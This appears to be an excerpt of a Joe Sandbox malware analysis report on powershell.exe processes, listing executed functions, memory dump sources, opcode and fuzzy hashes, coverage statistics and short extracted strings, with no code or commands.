Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b2c97ff832bce63863c4c51fdef57108f111c5e173a8586091b319bc4591534
Instruction ID: c9156ae6325617c0eb9d8dcc69ff12d1fe77850663b64888e0ab41f9e7256c5b
Opcode Fuzzy Hash: 6b2c97ff832bce63863c4c51fdef57108f111c5e173a8586091b319bc4591534
Instruction Fuzzy Hash: 40912872B0EA894FEBA4DF6884762687BD1EF69314F1900BED049C71E3DD29AC45C351

Function 00007FFD9B8A2470 Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824315692.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22b889bf442e1ad99c555efa507db355340ad4bda10ecb4efed1b4ae1193ae08
Instruction ID: 9aac072a8bcd2d0dd2917e24dda4cd85e5ddc9d71055670659e7f561e99b458f
Opcode Fuzzy Hash: 22b889bf442e1ad99c555efa507db355340ad4bda10ecb4efed1b4ae1193ae08
Instruction Fuzzy Hash: 1681F562B0FACA0FE7B5ABE849B51B47AD1BF59354B0900FAD449C71E3DC09AD448321

Function 00007FFD9B7D761C Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823924103.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f20b92f263d749c40af46b400da336b9f3608a63175840e3f580a38fbf3ccdc
Instruction ID: 7e6cf89e2e066df889b7eb2902404a03e2038385eb343a1b19fd1373f992e5b5
Opcode Fuzzy Hash: 4f20b92f263d749c40af46b400da336b9f3608a63175840e3f580a38fbf3ccdc
Instruction Fuzzy Hash: E5517430908B1C8FDB68DB58D855BE9BBF1FB59310F0082AAD04DD3292DE74A9858F81

Function 00007FFD9B8A24E5 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824315692.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a27d0a41555a3a00938deeb57fdf9ffbcb979df56dbc2436099c0f62acbcaf4
Instruction ID: c8553d31464033b7dafcfa63c27fa149627a15f7b44b1520a41e06308a9c2eb9
Opcode Fuzzy Hash: 1a27d0a41555a3a00938deeb57fdf9ffbcb979df56dbc2436099c0f62acbcaf4
Instruction Fuzzy Hash: 8051D472B0FACA4FE7B6ABE845B51A87BD1BF59254B1900FEC449C71E3DC09AD448321

Function 00007FFD9B7DA5F4 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823924103.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92fd20e42c13dd353265d887dfa0d8a09cc2681f22b510f85be1802f6dcf39cd
Instruction ID: c25bc400bfa9b5495b4d65ab092e2556e5b4c0cda59e39aa7c29ac5b2a12550a
Opcode Fuzzy Hash: 92fd20e42c13dd353265d887dfa0d8a09cc2681f22b510f85be1802f6dcf39cd
Instruction Fuzzy Hash: 53314130A1A64DCEFBB49F54CD29BF832A4FF81359F411339D54E860B2CA386A49CB11

Function 00007FFD9B7D39F5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823924103.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 6887d30d0d8c0609aff371290804b0c764e6ab36b3a757ae8d377c1e0bab6457
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: E901A73020CB0C4FD748EF0CE051AA5B7E0FB85360F10066DE58AC36A5D632E881CB41

Function 00007FFD9B8A04D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824315692.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9599edaf71700c22bbc0cba4f470ccd8f74a852cd4b9bda0ee78556f4db38ef6
Instruction ID: e04d96354c5c11d2503d4830a67ca1752efc216271b4de3e5bb22c77cf8fc9d6
Opcode Fuzzy Hash: 9599edaf71700c22bbc0cba4f470ccd8f74a852cd4b9bda0ee78556f4db38ef6
Instruction Fuzzy Hash: 19E09223F1F96D4EEBB1AB9864281F86281EF58A2571501B6E91CD2191DC049D104791

Non-executed Functions

Function 00007FFD9B7D211D Relevance: .6, Instructions: 626COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1823924103.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6601cf06fb408124b0fde899774448f048c9dd487c5ce3d0fc2b8e6ffd315e95
Instruction ID: 56e5030552264c57d5e3973e13a612f2adac20bbce27c7d356a7f3c09f4f5945
Opcode Fuzzy Hash: 6601cf06fb408124b0fde899774448f048c9dd487c5ce3d0fc2b8e6ffd315e95
Instruction Fuzzy Hash: 3B02B267B0E7D24EE36256AD98B50D53F60EFD326970F02F7C4D48A0B3A919294F8361

Analysis Process: powershell.exePID: 7792, Parent PID: 7432COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.6%
Total number of Nodes:	47
Total number of Limit Nodes:	7

Executed Functions

Function 06F4C250 Relevance: 16.2, Strings: 12, Instructions: 1154COMMON

Download Yara Rule

Strings

$fq, xrefs: 06F4CB31
$fq, xrefs: 06F4CB8A
$fq, xrefs: 06F4C6A7
$fq, xrefs: 06F4CB9A
,jq, xrefs: 06F4CD1A
$fq, xrefs: 06F4CB41
$fq, xrefs: 06F4C4F3
$fq, xrefs: 06F4C4E3
$fq, xrefs: 06F4C757
$fq, xrefs: 06F4C6B7
$fq, xrefs: 06F4C767
4, xrefs: 06F4CC35

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID: ,jq$4$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq
API String ID: 0-2524271925
Opcode ID: e3ffecd5c9f48ecc27d030062cc5b5ef345f7b288e4412fe74fa98a44b68c1aa
Instruction ID: 8858d085afc19a3dd88edfd2fe34b33ac8a3d010c4f69b4f006368ccfad883de
Opcode Fuzzy Hash: e3ffecd5c9f48ecc27d030062cc5b5ef345f7b288e4412fe74fa98a44b68c1aa
Instruction Fuzzy Hash: E3B20774E01218CFDB54DFA9C994BADBBB6BF88300F148599E505AB2A5DB70DC82CF50

Function 06F4C587 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$fq, xrefs: 06F4CB31
$fq, xrefs: 06F4CB8A
$fq, xrefs: 06F4C6A7
,jq, xrefs: 06F4CD1A
$fq, xrefs: 06F4C757
4, xrefs: 06F4CC35

Memory Dump Source

Source File: 00000002.00000002.2615485861.0000000006F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f40000_powershell.jbxd

Similarity

API ID:
String ID: ,jq$4$$fq$$fq$$fq$$fq
API String ID: 0-2005009869
Opcode ID: 5586165b018892cf18d0b2e027b1088e1e54dcf9e7dbb8822ecc10bacb499b65
Instruction ID: cf834d67a5083a8891c986f487a58b5077f91e5e27694b9702cde0284ed7176c
Opcode Fuzzy Hash: 5586165b018892cf18d0b2e027b1088e1e54dcf9e7dbb8822ecc10bacb499b65
Instruction Fuzzy Hash: C0220934E01215CFDB54DF68C984BADBBB2BF48304F1491A9E509AB6A5DB70DD82CF50

Function 06D02A60 Relevance: 1.8, APIs: 1, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.2612352503.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 961b98e2265f1fcb312bd03e27dd04a9526b414459b2772b33b983267af97f4d
Instruction ID: eae57998420581a36557651df0dea540756632d1369f455bba7af1ff4d14a85e
Opcode Fuzzy Hash: 961b98e2265f1fcb312bd03e27dd04a9526b414459b2772b33b983267af97f4d
Instruction Fuzzy Hash: CFD11B70D01219DFDB61CFA8C984A9DFBB1BF48314F24865AD858AB751CB70AA85CF90

Function 06F6A670 Relevance: 1.5, Strings: 1, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHfq, xrefs: 06F6A9F0

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID: PHfq
API String ID: 0-2154135885
Opcode ID: 7d3374a2948b0d08ffc4013e0c14390b57a5d9769e1e0c9fb169367c255034ae
Instruction ID: 72612a2d7affe48f66c2fe98deb5681c40880f814cbf3e4d7a2c11b8acc08919
Opcode Fuzzy Hash: 7d3374a2948b0d08ffc4013e0c14390b57a5d9769e1e0c9fb169367c255034ae
Instruction Fuzzy Hash: B7D13774E05218CFEB54CFAAD984B9EBBF2BB49300F1080AAE009B7255DB745985CF41

Function 06D19EB8 Relevance: 1.5, Strings: 1, Instructions: 240COMMON

Download Yara Rule

Strings

Tefq, xrefs: 06D19F7D

Memory Dump Source

Source File: 00000002.00000002.2612516331.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d10000_powershell.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: d580d321ad7521bbec4abb3e4abfb8ba9fe00fbd7310d814eca6f791cfd1e4f0
Instruction ID: aa600dd69b909b1bd13b3bd44d2e95b29ed766aaa9d9295cacfd8f41176f5ebe
Opcode Fuzzy Hash: d580d321ad7521bbec4abb3e4abfb8ba9fe00fbd7310d814eca6f791cfd1e4f0
Instruction Fuzzy Hash: D0A12A70E05208DFEB54CFA9E494B9DBBF6BF89300F24906AE419AB355DB709985CF40

Function 06D19EA8 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

Tefq, xrefs: 06D19F7D

Memory Dump Source

Source File: 00000002.00000002.2612516331.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6d10000_powershell.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: 25b089ce29ba8990cb3a2696522a08ff053759f1b478b9f4f7f2f2ecfeedb214
Instruction ID: 25a00fc943b6e9e5d7bb2b1cd3b4c3079fd31e73f343c5ed4263b869bed00c4b
Opcode Fuzzy Hash: 25b089ce29ba8990cb3a2696522a08ff053759f1b478b9f4f7f2f2ecfeedb214
Instruction Fuzzy Hash: 2AA13974E01208DFEB54CFA9D894B9DBBF2BF88304F24906AE419AB355DB709981CF40

Function 0455C750 Relevance: 1.1, Instructions: 1072COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2537144071.0000000004550000.00000040.00000800.00020000.00000000.sdmp, Offset: 04550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f96b555b15d7528f4f8eeafa833fed1e1399fd8e5a35cc0a76090be687d2d3b6
Instruction ID: ea6c306ff7288ff71b09674df02eddc20abce9923a0a44c78eabad16b1e63429
Opcode Fuzzy Hash: f96b555b15d7528f4f8eeafa833fed1e1399fd8e5a35cc0a76090be687d2d3b6
Instruction Fuzzy Hash: BB924B75A012489FCB05CFA8D494AAEFBF1FF48314F24855AE805AB361C735ED86DB90

Function 06F6C707 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2615825801.0000000006F60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f13698bcdb89b6ebacb7f053dbdd6697d4d98c3c41b6f183612d7b930736633
Instruction ID: a033f875597f81e086cb93a2c3310a5609de9865e261e8c465d08a1be86bf2fa
Opcode Fuzzy Hash: 6f13698bcdb89b6ebacb7f053dbdd6697d4d98c3c41b6f183612d7b930736633
Instruction Fuzzy Hash: 3F41F4B5D05218CFEB54CF9AD840BDDBBF6AB89300F14C1AAE488AB214DB3459458F54

Function 073D6E38 Relevance: 43.6, Strings: 34, Instructions: 1097COMMON

Download Yara Rule

Strings

4'fq, xrefs: 073D726E
$fq, xrefs: 073D71A7
$fq, xrefs: 073D7442
$fq, xrefs: 073D75C0
4'fq, xrefs: 073D75FC
$fq, xrefs: 073D71DE
$fq, xrefs: 073D770C
$fq, xrefs: 073D7921
$fq, xrefs: 073D7186
$fq, xrefs: 073D7426
84ml, xrefs: 073D7738
84ml, xrefs: 073D7742
4'fq, xrefs: 073D7262
$fq, xrefs: 073D7464
84ml, xrefs: 073D74BA
$fq, xrefs: 073D7405
tPfq, xrefs: 073D779B
tPfq, xrefs: 073D750E
$fq, xrefs: 073D7958
$fq, xrefs: 073D6E4A
84ml, xrefs: 073D74B0
$fq, xrefs: 073D6E79
$fq, xrefs: 073D7472
$fq, xrefs: 073D7243
$fq, xrefs: 073D75D0
$fq, xrefs: 073D7233
$fq, xrefs: 073D6E6B
tPfq, xrefs: 073D7502
$fq, xrefs: 073D7948
4'fq, xrefs: 073D75F0
tPfq, xrefs: 073D778F
4'fq, xrefs: 073D701F
$fq, xrefs: 073D71CE
4'fq, xrefs: 073D7013

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$84ml$84ml$84ml$84ml$tPfq$tPfq$tPfq$tPfq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq$$fq
API String ID: 0-4230029179
Opcode ID: afdea538281236ee825bf7a0d68ce2b3bdb011b335bc3ddc1da951b075ec3acc
Instruction ID: d8038568f924f79c997fdf5562f394db2501df8a9b6328d46b8e02c8cf8d1d28
Opcode Fuzzy Hash: afdea538281236ee825bf7a0d68ce2b3bdb011b335bc3ddc1da951b075ec3acc
Instruction Fuzzy Hash: C1823BF270020ADFEB248F69E4456ABBBB6FF85310F14C46AE8198B691DB31DD41C791

Function 073D93B8 Relevance: 31.3, Strings: 24, Instructions: 1344COMMON

Download Yara Rule

Strings

4'fq, xrefs: 073D98BA
4'fq, xrefs: 073D98C6
4'fq, xrefs: 073DA29D
x.`k, xrefs: 073D9902
4'fq, xrefs: 073DA0E9
$fq, xrefs: 073DA275
4'fq, xrefs: 073DA2A9
$fq, xrefs: 073D9EE3
$fq, xrefs: 073D9EFF
4'fq, xrefs: 073D9F2E
$fq, xrefs: 073DA281
4'fq, xrefs: 073DA0DD
el, xrefs: 073D9DF9
el, xrefs: 073D9DEB
$ak, xrefs: 073D9C31
4'fq, xrefs: 073D9D6F
4'fq, xrefs: 073D9D63
(fol, xrefs: 073D9790
(fol, xrefs: 073D95AA
(fol, xrefs: 073D979A
$fq, xrefs: 073DA23B
4'fq, xrefs: 073D9F22
$fq, xrefs: 073D9F0B
(fol, xrefs: 073D95B4

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: $ak$(fol$(fol$(fol$(fol$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$4'fq$x.`k$$fq$$fq$$fq$$fq$$fq$$fq$el$el
API String ID: 0-3273723472
Opcode ID: 6528c7ed0e7bd9fc04b44b439943f2cf81510463e9396fbfa2e387e336322e9e
Instruction ID: f5d2cf35b58226c75c807a1d3249786c4298df48f495d9aba3c547f65082b307
Opcode Fuzzy Hash: 6528c7ed0e7bd9fc04b44b439943f2cf81510463e9396fbfa2e387e336322e9e
Instruction Fuzzy Hash: 35A2C1F6B002059FEB24CFA9D544B6ABBB6EF85314F24C06AD4099B751DB31EC42CB91

Function 073DA6E0 Relevance: 17.9, Strings: 14, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$fq, xrefs: 073DAAEC
$fq, xrefs: 073DAA60
$fq, xrefs: 073DAAFC
tPfq, xrefs: 073DA825
84ml, xrefs: 073DA7DA
4'fq, xrefs: 073DAB3A
4'fq, xrefs: 073DA8DA
$fq, xrefs: 073DAA7C
$fq, xrefs: 073DAA9E
4'fq, xrefs: 073DAB2E
84ml, xrefs: 073DA7D0
4'fq, xrefs: 073DA8E6
tPfq, xrefs: 073DA831
$fq, xrefs: 073DAAAC

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$84ml$84ml$tPfq$tPfq$$fq$$fq$$fq$$fq$$fq$$fq
API String ID: 0-401777151
Opcode ID: ed28126c3ae1fdc077a53e8b07aeb31c46a89e2e00c0e968c18c587c53ff956d
Instruction ID: d6446b58ed99c6a1cdcd71ab30e8ae86341633a16bc3182e59a4d7b4f39eae18
Opcode Fuzzy Hash: ed28126c3ae1fdc077a53e8b07aeb31c46a89e2e00c0e968c18c587c53ff956d
Instruction Fuzzy Hash: F3E1F7F2B002059FEB148FA9D64066ABBF7FF85314F14C46AE9098B691CB71DC42CB91

Function 0816A157 Relevance: 13.7, Strings: 10, Instructions: 1230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(fol, xrefs: 0816AB35
-`k, xrefs: 0816A0B7
(fol, xrefs: 0816A505
(fol, xrefs: 08169C63
,Fak, xrefs: 0816A300
,Fak, xrefs: 08169ABF
,Fak, xrefs: 0816A94D
4'fq, xrefs: 08169F29
x.`k, xrefs: 0816A069
4'fq, xrefs: 08169E96

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: (fol$(fol$(fol$,Fak$,Fak$,Fak$4'fq$4'fq$x.`k$-`k
API String ID: 0-1442047445
Opcode ID: 8c1d7e1e65a7327bf132dfdf4f8f53f894249f3a3fd42822780ebb303854e1de
Instruction ID: 66fa996b2faf9eecdc54f97e0693a42337fb915df53bc9494e65fb5526ecc318
Opcode Fuzzy Hash: 8c1d7e1e65a7327bf132dfdf4f8f53f894249f3a3fd42822780ebb303854e1de
Instruction Fuzzy Hash: B9C23CB5A002149FD754DF18C940B99BBB2FF89304F1481E9EA09AB355CB71EE82CF95

Function 08161AF0 Relevance: 13.5, Strings: 10, Instructions: 1026COMMON

Download Yara Rule

Strings

tPfq, xrefs: 08161F66
84ml, xrefs: 08161F14
4'fq, xrefs: 081626F7
4'fq, xrefs: 08162653
4'fq, xrefs: 081626E1
-`k, xrefs: 081627A1
tPfq, xrefs: 08161F72
4'fq, xrefs: 0816263D
x.`k, xrefs: 08162750
84ml, xrefs: 08161F1E

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4'fq$84ml$84ml$tPfq$tPfq$x.`k$-`k
API String ID: 0-3388586550
Opcode ID: 4b308ea8dadcf2b6b50310c140b94fa007c8bb096027695868da54c0f7b780b3
Instruction ID: 0c7bcbf48fc40680773b2c1c707d38fdc82547c1079521dba1787f27532780eb
Opcode Fuzzy Hash: 4b308ea8dadcf2b6b50310c140b94fa007c8bb096027695868da54c0f7b780b3
Instruction Fuzzy Hash: 3E829034B00218DFDB14DF68C441BAEBBB2EF84315F1484A9D949AB751CB31ED96CBA1

Function 08169783 Relevance: 10.6, Strings: 8, Instructions: 572
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-`k, xrefs: 0816A0B7
(fol, xrefs: 08169C63
,Fak, xrefs: 08169ABF
4'fq, xrefs: 08169F29
x.`k, xrefs: 0816A069
4'fq, xrefs: 08169F35
4'fq, xrefs: 08169E96
4'fq, xrefs: 08169EAC

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: (fol$,Fak$4'fq$4'fq$4'fq$4'fq$x.`k$-`k
API String ID: 0-1773547059
Opcode ID: 69f770dab459235a8df902648e15b6662fdd98c7b0211a0d30ff41621a2f5325
Instruction ID: 3c5bf3168d271edd98901bb3a94e813ae7dc24fd83de69af4ebd9c0d57cb8c05
Opcode Fuzzy Hash: 69f770dab459235a8df902648e15b6662fdd98c7b0211a0d30ff41621a2f5325
Instruction Fuzzy Hash: 31424EB1A002149FDB54DF18C954B9ABBB2FF84304F1481E9DA09AB355CB71EE82CF95

Function 081667F8 Relevance: 8.0, Strings: 6, Instructions: 503
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(ofq, xrefs: 08166D29
4'fq, xrefs: 08166B7B
4'fq, xrefs: 081668B5
(ofq, xrefs: 08166D39
4'fq, xrefs: 081668A9
4'fq, xrefs: 08166B87

Memory Dump Source

Source File: 00000002.00000002.2623383395.0000000008160000.00000040.00000800.00020000.00000000.sdmp, Offset: 08160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8160000_powershell.jbxd

Similarity

API ID:
String ID: (ofq$(ofq$4'fq$4'fq$4'fq$4'fq
API String ID: 0-2405934209
Opcode ID: dd3f40cb08e399ab6bf8b24ba9a810eb5afefad23b867f16756b2148016addb5
Instruction ID: f180029cca930e0b12ba128460eace47734e84641f3081f3f8bc70c1ef155026
Opcode Fuzzy Hash: dd3f40cb08e399ab6bf8b24ba9a810eb5afefad23b867f16756b2148016addb5
Instruction Fuzzy Hash: F8020671B04205CFCB549F69C8446ABBBB6EF95322F18C06ED585CB291DB32D872C7A1

Function 073D9975 Relevance: 6.7, Strings: 5, Instructions: 475COMMON

Download Yara Rule

Strings

4'fq, xrefs: 073D98BA
h2bk, xrefs: 073D99D4
(fol, xrefs: 073D9790
(fol, xrefs: 073D95AA
x.`k, xrefs: 073D9902

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: (fol$(fol$4'fq$h2bk$x.`k
API String ID: 0-2674355033
Opcode ID: eb8fbd9044ee8ffdee196bc6ee050314beffe91b1ee4d99da0228300595aca26
Instruction ID: ae515ececa800e4ca4413d84b60242ed6b5921add0c3d196b3fb64fba68b1503
Opcode Fuzzy Hash: eb8fbd9044ee8ffdee196bc6ee050314beffe91b1ee4d99da0228300595aca26
Instruction Fuzzy Hash: 9C121AB6B01205DFEB14CF58D580B69BBB6EF85314F25C069E8099B756CB72EC42CB81

Function 073D9398 Relevance: 5.5, Strings: 4, Instructions: 477COMMON

Download Yara Rule

Strings

4'fq, xrefs: 073D98BA
(fol, xrefs: 073D9790
(fol, xrefs: 073D95AA
x.`k, xrefs: 073D9902

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: (fol$(fol$4'fq$x.`k
API String ID: 0-2621465603
Opcode ID: 92efe23b5447e4aef87563cf951aedcf50d2da3c9a4b49a84b7cc0ffa30ff36d
Instruction ID: bb9ae95ab437608e861b35520f035df77040163bc11f7c5163a65154862c7e68
Opcode Fuzzy Hash: 92efe23b5447e4aef87563cf951aedcf50d2da3c9a4b49a84b7cc0ffa30ff36d
Instruction Fuzzy Hash: 16124BB6A01205DFEB14CF58D584B69BBB2FF85304F25C069E8199B756CB72EC42CB81

Function 073D0488 Relevance: 5.2, Strings: 4, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'fq, xrefs: 073D058D
el, xrefs: 073D0623
el, xrefs: 073D0615
4'fq, xrefs: 073D0599

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$el$el
API String ID: 0-1527105543
Opcode ID: 39edf5eec24861ab208da326cea2c24ed5142895f2f8f6f52b102bbb0d297ece
Instruction ID: 1056f58d39abe19d9f8a8a7675c216b29c473468d0606ca8e184dc35c7ebf1f2
Opcode Fuzzy Hash: 39edf5eec24861ab208da326cea2c24ed5142895f2f8f6f52b102bbb0d297ece
Instruction Fuzzy Hash: 434139F2B182068FEB195A78A41177E7BA3AFC1600F14407AD909CB691DF35DC81C7A2

Function 073D6AE0 Relevance: 5.1, Strings: 4, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tPfq, xrefs: 073D6B72
tPfq, xrefs: 073D6B66
84ml, xrefs: 073D6B17
84ml, xrefs: 073D6B0B

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 84ml$84ml$tPfq$tPfq
API String ID: 0-3994916716
Opcode ID: 4ddaf6b814cbc23152c8b302f8a70adf8d2999aa670f1a48afef7f6f9102cc68
Instruction ID: 6eaad5b23c88b610bee3d345e9ddc44c00f04d6e10ac76841e0280577a4cabc7
Opcode Fuzzy Hash: 4ddaf6b814cbc23152c8b302f8a70adf8d2999aa670f1a48afef7f6f9102cc68
Instruction Fuzzy Hash: 0D416EB1B002149BD7209BA99811B6BBFF6AF85754F14805EE5589F3C5CB71DC4183E2

Function 073DA6C3 Relevance: 3.9, Strings: 3, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tPfq, xrefs: 073DA825
84ml, xrefs: 073DA7D0
4'fq, xrefs: 073DA8DA

Memory Dump Source

Source File: 00000002.00000002.2618971938.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_73d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'fq$84ml$tPfq
API String ID: 0-3129333961
Opcode ID: d244681af6f59f8934529d298ab824ded9e3da265c8f14a2d4acf9e4a9e674c8
Instruction ID: 855fe29d2d3ba039750d5c217f0545b8874ead5f4656262b044249f7fd1addfc
Opcode Fuzzy Hash: d244681af6f59f8934529d298ab824ded9e3da265c8f14a2d4acf9e4a9e674c8
